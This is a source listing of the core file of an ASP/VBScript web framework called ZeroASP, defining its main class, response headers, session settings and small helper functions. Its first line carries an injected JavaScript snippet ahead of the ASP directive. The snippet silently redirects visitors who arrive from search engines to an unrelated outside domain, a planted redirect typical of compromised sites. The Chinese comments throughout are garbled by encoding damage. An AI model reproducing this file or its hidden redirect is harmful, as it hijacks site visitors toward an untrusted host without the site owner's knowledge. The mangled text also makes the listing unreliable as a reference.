d:\wwwroot\wuchunhua\zeroasp\zeroasp\ZeroASP.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%@LANGUAGE = "VBSCRIPT" CODEPAGE = "65001"%
>
002: <%
003: '强制€启设置变?Dim)
004: Option Explicit
005: '€发€调试开关,默认关闭
006: On Error Resume Next
007: If ZeroASP_Debug = True Then:On Error Goto 0
008: %
>
009: <!--#include file="./ZeroASP.Config.asp"-->
010: <%
011: '######################################################################
012: '## ZeroASP.asp
013: '## -------------------------------------------------------------------
014: '## Feature     :   ZeroASP Class
015: '## Version     :   1.2.3
016: '## Author      :   Ayu(kinsc@139.com)
017: '## Update Date :   2018-11-09
018: '## Description :   ZeroASP Main Class
019: '##
020: '######################################################################
021:
022: '核心?
023: Class ZeroASP
024:   
025:    '基础?
026:    Public Base '常用函数
027:
028:    '扩展?
029:    Public DB '数据操作
030:    Public Req '获取,输?
031:    'Public Upload '无组件上?
032:    Public Times '时间
033:    Public Encrypt '加密
034:    Public Stream '数据?
035:    Public XmlHttp '远程请求
036:    Public Json 'JSON数据
037:    Public Xml 'XML数据
038:    Public Fso 'Fso操作
039:    Public UDF '自定义三方函?
040:    Public Aliyun_Sms '阿里云短?
041:
042:    Private StarTime '用于计算页面执行时间的变?
043:
044:    '初始化,保护内核数据,防止外部直接操?
045:    Private Sub Class_Initialize()
046:       '进入队列处理,加?
047:       'Application.Lock()
048:       Dim ZeroASP
049:       ZeroASP = "ZeroASP应用框架 - 核心?
050:       '内核配置
051:       '并发连接控制器,不€信的连接直接断€'
052:       Response.Write("")'指示自上¤?Response.Write 之后,客户端是否与服务器相连,所以使用一个空输出判断
053:       If Not Response.IsClientConnected() Then
054:          Response.End()
055:       End If
056:       '页面统一编码和缓?
057:       Session.CodePage = 65001
058:       Response.CodePage = 65001
059:       Response.Charset = "UTF-8"
060:       Response.ContentType = "text/html"
061:       Response.Addheader "Content-Type","text/html;charset=UTF-8"
062:       Response.Addheader "Set-Cookie","ZeroASP=1.2.3; path=/; HttpOnly"
063:       Response.Addheader "X-Frame-Options","SAMEORIGIN"
064:       Response.Addheader "X-XSS-Protection","1; mode=block"
065:       Response.Addheader "X-Powered-By","ZeroASP"
066:       Response.Buffer = True
067:       Response.ExpiresAbsolute = Now() - 1
068:       Response.Expires = 0
069:       Response.CacheControl = "No-Cache"
070:       Session.Timeout = 900 '会话时间,单位秒
071:       Server.ScriptTimeOut = 900 '脚本超时,单位秒
072:       StarTime = Timer() '就是从零点开始今天过去的秒数
073:       '基础?
074:       Set Base = New ZeroASP_Base
075:       '扩展?
076:       Set DB = New ZeroASP_DB
077:       Set Req = New ZeroASP_Req
078:       'Set Upload = New ZeroASP_Upload
079:       Set Times = New ZeroASP_Time
080:       Set Encrypt = New ZeroASP_Encrypt
081:       Set Stream = New ZeroASP_Stream
082:       Set XmlHttp = New ZeroASP_XmlHttp
083:       Set Json = New ZeroASP_Json
084:       Set Xml = New ZeroASP_Xml
085:       Set Fso = New ZeroASP_Fso
086:       Set UDF = New ZeroASP_UDF
087:       Set Aliyun_Sms = New ZeroASP_Aliyun_Sms
088:    End Sub
089:
090:    '结束,自动执?
091:    Private Sub Class_Terminate()
092:       Set Zasp = Nothing
093:       '完成队列处理,解?
094:       'Application.UnLock()
095:       'Response.Write("对象已经€?)
096:    End Sub
097:
098:    '内核版本
099:    Public Function Version()
100:       Version = "<a href=""http://www.zeroasp.com/"" target=""_blank"">ZeroASP 1.2.3</a>"
101:    End Function
102:
103:    '终止程序运行
104:    Public Function Die()
105:       Set Zasp = Nothing '€毁对?
106:       Die = Response.End()
107:    End Function
108:
109:    'SessionID通信标识?
110:    Public Function Sid()
111:       Sid = Session.SessionID '会话ID,由服务端自动生成唯€识别?动€?
112:    End Function
113:
114:    '输出字符?
115:    Public Function Echo(ByVal Str)
116:       Echo = Response.Write(Str)
117:    End Function
118:
119:    '跳转页面
120:    Public Sub Rurl(ByVal Url)
121:       Response.Redirect(Url)
122:    End Sub
123:
124:    '去除左右空格
125:    Public Function Trims(ByVal Str)
126:       Trims = Trim(Str)
127:    End Function
128:
129:    '获取指定头部信息
130:    Public Function Head(ByVal Str)
131:       Head = Request.ServerVariables(Str)
132:    End Function
133:
134:    '获取全部头部信息
135:    Public Function AllHead()
136:       Dim AllN,N
137:       For Each N In Request.ServerVariables
138:          AllN = AllN & N & "=" & Request.ServerVariables(N) & "<br>"
139:       Next
140:       AllHead = AllN
141:    End Function
142:
143: End Class
144: %
>
145: <!--#include file="./ZeroASP.Extend.asp"-->
146: <%
147: '创建核心程序
148: Dim Zasp
149: Set Zasp = New ZeroASP
150: '计算路径级别
151: Dim Zasp_PathLevel,Zasp_PathLevel_i,Zasp_Path
152: Zasp_PathLevel = Split(Zasp.Req.URL(),"//")(1)
153: Zasp_PathLevel = Split(Zasp_PathLevel,"/")
154: If UBound(Zasp_PathLevel) = 1 Then
155:    Zasp_Path = "./"
156: Else
157:    For Zasp_PathLevel_i = 0 To UBound(Zasp_PathLevel) - 2
158:       Zasp_Path = Zasp_Path & "../"
159:    Next
160: End If
161: '载入文件
162: 'Zasp.Base.Include(Zasp_Path & "ZeroASP/Test.asp")
163: %
>
164:
165: